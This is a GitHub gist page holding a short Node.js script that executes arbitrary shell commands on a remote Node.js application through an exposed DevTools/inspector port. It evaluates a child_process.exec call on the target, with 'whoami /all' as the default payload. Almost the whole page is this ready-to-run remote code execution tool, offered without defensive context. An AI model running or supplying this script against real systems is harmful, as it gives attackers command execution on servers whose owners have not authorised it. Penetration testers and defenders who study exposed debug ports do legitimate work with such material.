Created
February 22, 2019 18:26
-
-
Save jupenur/2e4061c39f71dac16aa8f64afc70d572 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
/** | |
* Execute shell commands remotely in Node.js apps via the DevTools protocol | |
* | |
* Setup: | |
* npm install chrome-remote-interface | |
* chmod +x node-dev-exec.js | |
* | |
* Usage: | |
* ./node-dev-exec.js <host> <port> [<payload>] | |
*/ | |
if (process.argv.length < 4 || process.argv.length > 5) { | |
console.log(`Usage: ${process.argv[1]} <host> <port> [<payload>]`); | |
process.exit(1); | |
} | |
let host = process.argv[2]; | |
let port = process.argv[3]; | |
let expression = `process.mainModule.require('child_process').exec(${ | |
JSON.stringify(process.argv[4] || 'start cmd /k whoami /all' ) | |
})`; | |
const CDP = require('chrome-remote-interface'); | |
CDP({ host, port }, async client => { | |
client.Runtime.evaluate({ expression }); | |
client.close(); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment